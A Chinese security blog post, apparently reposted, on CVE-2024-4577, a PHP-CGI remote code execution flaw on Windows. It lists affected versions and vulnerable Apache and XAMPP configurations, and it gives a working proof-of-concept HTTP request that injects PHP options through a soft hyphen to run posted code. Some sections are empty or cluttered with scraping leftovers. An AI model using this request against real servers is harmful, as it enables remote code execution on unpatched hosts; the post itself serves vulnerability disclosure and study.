Hello! 欢迎来到小浪云!


CVE-2024-4577|PHP CGI Windows平台远程代码执行漏洞(POC)


0x00 前言

php是Hypertext Preprocessor(超文本预处理器)的缩写,源自于“PHP/FI”的工程,在它的起源初期主要用于统计自己网站的访问者,后来用c语言进行了重新编写,拥有了自己的访问文件和数据库功能.在1995年发布了PHP 1.0第一个版本。

PHP是一种广泛使用的开源的脚本语言,它特别适合Web开发和嵌入html中,这种语言使用起来简单。

CGI、以CGI的方式运行,CGI英文叫做公共网关接口,就是apache在遇到php脚本的时候会将PHP程序提交给CGI应用程序(php-cgi.exe)解释,解释之后的结果返回给Apache,然后再返回给相应的请求用户。

0x01 漏洞描述

立即学习PHP免费学习笔记(深入)”;

0x02 CVE编号

CVE-2024-4577

0x03 影响版本

PHP 8.3

PHP 8.2

PHP 8.1

针对其他版本,PHP官方已不在维护,建议根据实际情况进行缓解措施。

情境一:

将PHP设定于CGI模式下执行

在Apache httpd设定档中透过Action语法将对应的HTTP请求交给PHP-CGI执行档处理时,受此弱点影响,常见设定包含但不限于:

代码语言:JavaScript代码运行次数:0运行复制

AddHandler cgi-script .phpAction cgi-script“/cgi-bin/php-cgi.exe”

代码语言:javascript代码运行次数:0运行复制

<filesmatch>SetHandler application/x-httpd-php-cgi</filesmatch>Action application/x-httpd-php-cgi“/php-cgi/php-cgi.exe”

情境二:

将PHP执行档暴露在外(XAMPP预设安装设定)

即使未设定PHP于CGI模式下执行,仅将PHP执行档暴露在CGI目录下也受此弱点影响,常见情况包含但不限于:

将php.exe或php-cgi.exe复制到/cgi-bin/目录中

将PHP安装目录透过ScriptAlias暴露到外,如:

代码语言:javascript代码运行次数:0运行复制

ScriptAlias /php-cgi/“C:/xampp/php/”

0x04 漏洞详情

POC:

代码语言:javascript代码运行次数:0运行复制

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1Host: {{host}}User-Agent: curl/8.3.0Accept: */*Content-Length: 23Content-Type: application/x-www-form-urlencodedConnection: keep-alive<?phpphpinfo ();?>
CVE-2024-4577|PHP CGI Windows平台远程代码执行漏洞(POC)

执行命令:

CVE-2024-4577|PHP CGI Windows平台远程代码执行漏洞(POC)

(来源于网络)

0x05 参考链接

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

相关阅读